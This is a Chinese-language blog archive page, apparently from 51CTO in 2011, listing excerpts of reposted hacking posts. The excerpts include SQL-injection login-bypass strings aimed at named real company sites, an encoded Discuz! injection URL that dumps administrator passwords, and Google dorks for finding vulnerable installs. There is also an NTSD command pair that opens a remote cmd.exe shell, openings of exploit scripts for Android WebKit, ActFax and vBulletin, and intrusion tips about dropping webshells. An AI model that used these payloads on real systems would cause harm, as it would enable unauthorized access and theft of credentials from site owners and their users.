enables的博客_原创作品,技术文挡,漏洞收集转载

资料 Vmware下BT4安装vmware-tools

Vmware下BT4安装vmware-tools 标记资料加载 vm-tools的iso mkdir /mnt/cdrom CD-ROM路径：c:\programfiles\VMware\VMware Workstatio

职场

Vmware

休闲

存档

vmware-tools

转载精选 2011-08-17 23:55:36 1888 阅读 3点赞 3评论

越南一公司网站绕过验证

http://minhquangcarpet.com/ http://minhquangcarpet.com/admin/login.php username：admin'or 'a'='a password：admin'or 'a'='a 或者 username：'or''=' password：'or''=' &n

职场

休闲

绕过验证漏洞

转载精选 2011-07-04 11:27:34 548 阅读

（转）Discuz! X2.0 SQL注入漏洞 EXP

DZ2.0直接暴管理账号密码（默认前缀的情况下） /forum.php?mod=p_w_upload&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2V sZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4N0MzMjc0NzQ3QyxwYXNzd 29yZCkgZnJvbSBwcm

sql

漏洞

Discuz!

注入漏洞

X2.0

转载精选 2011-06-29 21:08:18 6564 阅读

（转）Ez sitebuilder 管理员绕过漏洞

转 GOOGLE关键字：inurl:/id/adminlogin.asp Username : 'or''=' Password : 'or''=' 例子： http://www.ez-sitebuilder.com/site/id/adminlogin.asp

管理员

职场

漏洞

休闲

Ez sitebuilder

转载精选 2011-06-24 20:44:43 606 阅读

0-Day WPtouch WordPress Plugin 1.9.27 URL重定向

Google 关键字:"Powered by Wordpress + WPtouch" (with iphone/android User-Agent) 测试使用要先下载软件地址：Software Link: http://wordpress.org/extend/plugins/wptouch/ 方法：http://test.com/

职场

休闲

0day

WordPress

WPtouch

转载精选 2011-06-22 23:34:59 632 阅读

绕过管理员验证登陆！

site: # 1-packageexpress.net/entrack/admin.asp # 2-mecourier.com/entrack/admin.asp # 3-cannondelivery.com/entrack/admin.asp # 4-cannondelivery.com/entrack/admin.asp # 5-barefootmailmoms.com

职场

休闲

验证漏洞

转载精选 2011-06-17 23:08:29 1392 阅读 1点赞

visualcreators.com公司产品过滤漏洞！

转： VisualCreators.com公司产品的 0day usename：xConsoLe'or''=' password：xConsoLe'or''=' Google：Website design by VisualCreators.com 关键字

职场

休闲

0day

注入漏洞

转载精选 2011-06-16 22:25:02 521 阅读

老外的一次跨站测试

老外的一次跨站测试。注射前图1 注射后图2 跨站脚本图3 详细信息如下： Introduction ============== Hm. It's raining, so I was clicking through forums. Found a thread, where someone was asking for trial acc

职场

跨站脚本

休闲

转载精选 2011-06-16 16:42:53 687 阅读

Simple web-server目录遍历漏洞

漏洞描述： Simple web-server是一款WEB服务程序。 Simple web-server不正确处理目录遍历字符序列，远程攻击者可以利用漏洞以WEB权限查看系统文件内容。 ------------------------------------------------------------------------ Software................Simple

职场

休闲

Simple

web-server

转载精选 2011-06-11 16:34:41 1134 阅读

ActFax Server 传真服务器漏洞

受影响软件官方网站： http://www.actfax.com/download/ Version 4.25, Build 0221 (2010-02-11) actfax_setup_en.exe 代码如下： #!/usr/bin/python #----------------------------------------------------------

Server

漏洞

休闲

ActFax

转载精选 2011-06-09 23:44:47 777 阅读

IBM Tivoli Management Framework默认设置漏洞

IBM Tivoli Management Framework默认设置漏洞漏洞编号： NIPC-2011-1740 CVE编号： CVE-2011-2330 漏洞类别：许可，权限和访问控制错误发布日期： 2011-06-02 更新日期： 2011-06-03 CVSS值： 9

职场

ibm

漏洞

休闲

转载精选 2011-06-07 20:42:42 871 阅读

Circus Strategic Communications Inc MYSQL注入漏洞

6月7日国外一套PHP程序的MYSQL注入漏洞 [+] Exploit Title : Circus Strategic Communications Inc.. Sql injection [+] Date : 07 June 2011 [+] Author : k's0uR! [+] Category : WebApps [+] d0rk : "developed and

mysql

SQL

漏洞

数据库

休闲

转载精选 2011-06-07 20:23:42 731 阅读

外国大牛攻下宏碁公司FTP，并获取了各国客户资料信息！

外国大牛攻下宏碁公司FTP，并获取了各国客户资料信息！不知道中国的客户信息资料有否泄露。。。

职场

FTP

休闲

信息泄露

转载精选 2011-06-05 21:01:14 861 阅读

多个Cisco产品报文远程拒绝服务漏洞

多个Cisco产品报文远程拒绝服务漏洞影响版本: 　　Cisco NX-OS 　　Cisco Nexus 5000 　　Cisco IOS Software 　　Cisco IOS-XE Software 　　Cisco CatOS Software 　　Cisco ASA and Cisco PIX Software 　　漏洞描述: 　　Bugraq ID:

职场

攻击

路由器

休闲

转载精选 2011-06-04 15:09:48 738 阅读

vBulletin 4.0.x => 4.1.2 (search.php)SQL注入漏洞

==================================================================== #vBulletin 4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability# ====================================================

职场

漏洞

数据库

SQL注入

休闲

转载精选 2011-06-03 20:21:42 1775 阅读

NTSD后门

刚学到的一个技巧，TELNET下也可以运行先在目标机器上执行: C:\>ntsd -server tcp:port=53 cmd.exe 然后本地机器执行： C:\>ntsd -remote tcp:server=192.168.1.105,port=53 运行效果：转自：MICKEY‘S

技巧

休闲

后门

NTSD

NTSD后门

转载精选 2011-05-31 19:38:00 908 阅读 1点赞 1评论

揭秘解放军网络部队 “网军”按常规编制非黑客

新快报讯国防部新闻事务局局长耿雁生大校5月25日透露：中国解放军建立了一支“网络蓝军”，目的是为提高部队网络安全防护水平设立。此消息一出立即吸引了广大军迷的视线。有外媒报道，中国称培养“网军”是自卫，但中国黑客被看做是全球最大的网络攻击力量。对此，国防部回应称，“网络蓝军”由部队已有人员构成，是常规部队的训练

职场

生活

新闻

休闲

转载精选 2011-05-31 07:26:45 1556 阅读

雷风cms 漏洞

雷风cms默认是有一个bbs的， bbs根目录下默认是有一个upload.php 源码如下： 01 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "upload/2011/5/201105291829080676.gif) repeat-x;} 14

职场

漏洞

脚本

休闲

cms

转载精选 2011-05-30 15:43:11 1188 阅读

NSDECODER v1.0

1 简介 nsdecoder是一款用于进行网页挂马检测的自动化工具。nsdecoder可对网页进行自动化的解密与分析从而判断是否存在网页木马，在挂马的情况下分析所挂网页木马利用的漏洞，并能给出木马源地址。 1 主要功能自动化地分析与检

工具

网页挂马

休闲

NSDECODER v1.0

nsdecoder

转载精选 2011-05-29 12:13:28 10000+阅读

风讯(FoosunCMS) SetNextOptions.asp注入漏洞利用

转自黑面风讯foosun的注册文件存在漏洞，可以暴管理员帐号和密码。漏洞文件： http://www.heimian.com/user/SetNextOptions.asp 利用简单的方法：暴管理员帐号： http://www.heimian.com/user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=

职场

技术

漏洞

休闲

转载精选 2011-05-28 21:31:03 3868 阅读

大仙们的经典入侵经验摘录~

OldJun总结： 1.无论什么站，无论什么语言，我要渗透，第一件事就是扫目录，最好一下扫出个上传点，直接上传shell，诸位不要笑，有时候你花很久搞一个站，最后发现有个现成的上传点，而且很容易猜到，不过这种情况发生在asp居多！ 2.asp（aspx）+MSSQL先考虑注入，一般的注入都有DBowner权限可以直接写shell；如果写不了，或者web与数据库分离，那就猜数据，

职场

经验

技巧

休闲

黑客技术

转载精选 2011-05-28 21:24:30 624 阅读

Session Initiation Protocol

SIP:会话发起协议（Session Initiation Protocol，缩写SIP）是一个由IETF MMUSIC 工作组开发的协议，作为标准被提议用于建立，修改和终止包括视频，语音，即时通信，在线游戏和虚拟现实等多种多媒体元素在内的交互式用户会话。2000年11月，SIP被正式批准成为3GPP信号协议之一，并成为IMS体系结构的

职场

休闲

求解

SIP

转载精选 2011-05-28 13:10:35 584 阅读

Navicat与DreamCoder for Oracle 对比测试截图

原创作者：本地牛 Navicat for Oracle 与 DreamCoder for Oracle 对比测试截图各位大牛老鸟们可以直接飘过~~ 没使用过的童鞋不妨看看。两款软件的介绍： Navicat for Oracle 是一套专为 Oracle 设计的强大数据库管理工具。它可以用于任何版本 8i 或以上的 Oracle 数据库服务器，并支持大部份 Oracle 最新版本的功能

oracle

数据库

休闲

图文

软件对比

转载精选 2011-05-18 22:47:13 1953 阅读 1点赞 2评论

Metasploit with MYSQL in BackTrack 4 r2

Until the release of BackTrack 4 r2, it was possible to get Metasploit working with MYSQL but it was not an altogether seamless experience. Now, however, Metasploit and MYSQL work together “out

职场

MYSQL

数据库

休闲

BT4

转载精选 2011-05-03 07:03:01 800 阅读

Android 系统攻击0DAY！ WebKit Use-After-Free Exploit 受影响版本：2.0 ,2.1, 2.1.1

<html> <!– # Exploit Title: android exploit for 2010-1119 use after free # Date: 2011/03/11 # Author: MJ Keith # Software Link: http://www.android.com/ # Version: 2.0 ,2.1 , 2.1.1

系统

手机

移动开发

0DAY

Android

转载精选 2011-04-25 23:01:04 1710 阅读

Oracle关于java.sql.SQLException常见错误集锦

最近使用Oracle时老是遇到java.sql.SQLException错误，害得我在网上查得累死累活的，所以一口气查了一下几个常见的，在此列了列．英文是来自官方的，用中文简单翻译了一下，有一些实在不知道怎么翻译，也没有尝试重现，所以将英文原文一并列出，供有需要的人查阅！ ORA-00904: invalid colum

ORACLE

职场

数据库

休闲

java.sql.SQLExceptio

转载精选 2011-04-22 16:27:13 1080 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

Vic

资料 Vmware下BT4安装vmware-tools

越南一公司网站绕过验证

（转）Discuz! X2.0 SQL注入漏洞 EXP

（转）Ez sitebuilder 管理员绕过漏洞

0-Day WPtouch WordPress Plugin 1.9.27 URL重定向

绕过管理员验证登陆！

visualcreators.com公司产品过滤漏洞！

老外的一次跨站测试

Simple web-server目录遍历漏洞

ActFax Server 传真服务器漏洞

IBM Tivoli Management Framework默认设置漏洞

Circus Strategic Communications Inc MYSQL注入漏洞

外国大牛攻下宏碁公司FTP，并获取了各国客户资料信息！

多个Cisco产品报文远程拒绝服务漏洞

vBulletin 4.0.x => 4.1.2 (search.php)SQL注入漏洞

NTSD后门

揭秘解放军网络部队 “网军”按常规编制非黑客

雷风cms 漏洞

NSDECODER v1.0

风讯(FoosunCMS) SetNextOptions.asp注入漏洞利用

大仙们的经典入侵经验摘录~

Session Initiation Protocol

Navicat与DreamCoder for Oracle 对比测试截图

Metasploit with MYSQL in BackTrack 4 r2

Android 系统攻击0DAY！ WebKit Use-After-Free Exploit 受影响版本：2.0 ,2.1, 2.1.1

Oracle关于java.sql.SQLException常见错误集锦